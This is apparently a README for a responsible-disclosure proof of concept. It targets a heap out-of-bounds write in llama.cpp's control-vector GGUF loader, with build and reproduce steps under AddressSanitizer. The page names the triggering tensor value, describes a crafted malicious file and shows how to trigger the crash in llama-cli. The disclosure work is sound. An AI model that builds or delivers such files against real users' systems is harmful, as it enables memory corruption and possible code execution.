File size: 2,284 Bytes
cddbb03
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# PoC: heap OOB write in llama.cpp control-vector GGUF loader

`malicious_cv.gguf` triggers a **heap out-of-bounds write** in
`common_control_vector_load_one()` when llama.cpp loads it as a control vector
(`--control-vector`), via a signed-integer overflow in the buffer-size /
write-offset arithmetic. Responsible-disclosure PoC for a huntr report. **Not for malicious use.**

## Files
- `malicious_cv.gguf` — malicious control-vector model: one tensor `direction.1431655766`, F32, `ne=[3]`.
- `craft_cv_gguf.py` — how it was generated (`pip install gguf`, then `python craft_cv_gguf.py`).
- `cv_load_harness.cpp` — minimal harness calling the public `common_control_vector_load()`.

## Reproduce (Linux + AddressSanitizer)
```bash
git clone https://github.com/ggml-org/llama.cpp && cd llama.cpp

# Build the WHOLE tree (incl. the `common` lib) with AddressSanitizer.
# (Note: -DGGML_SANITIZE_ADDRESS=ON alone only instruments ggml, NOT common —
#  use global flags so the control-vector loader is instrumented.)
cmake -B build-asan -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_FLAGS="-fsanitize=address -g -fno-omit-frame-pointer" \
  -DCMAKE_CXX_FLAGS="-fsanitize=address -g -fno-omit-frame-pointer" \
  -DBUILD_SHARED_LIBS=OFF -DLLAMA_CURL=OFF -DGGML_NATIVE=OFF
cmake --build build-asan --target common -j"$(nproc)"

# Build the harness against the ASan static libs (adjust .a paths to your tree).
g++ -fsanitize=address -g -I. cv_load_harness.cpp \
  build-asan/common/libcommon.a build-asan/src/libllama.a build-asan/ggml/src/*.a \
  -lpthread -lm -o cv_load_harness

./cv_load_harness malicious_cv.gguf
```

**Expected:** ASan reports `heap-buffer-overflow WRITE of size 4` in
`common_control_vector_load_one` (`common/common.cpp:1865`), located **4 bytes
before** the 8-byte buffer allocated by the overflowed `resize()` at
`common/common.cpp:1860`. The harness also prints `n_embd=3 data_size=2`
(the undersized buffer from the wrap).

`dst[j] += …` is a read-modify-write, so a normal (halting) ASan build reports
the OOB **read** first; build with `-fsanitize-recover=address` and run with
`ASAN_OPTIONS=halt_on_error=0` to also surface the **write**.

Also reproducible in the real tool:
`llama-cli -m <any model> --control-vector malicious_cv.gguf -p hi` under ASan.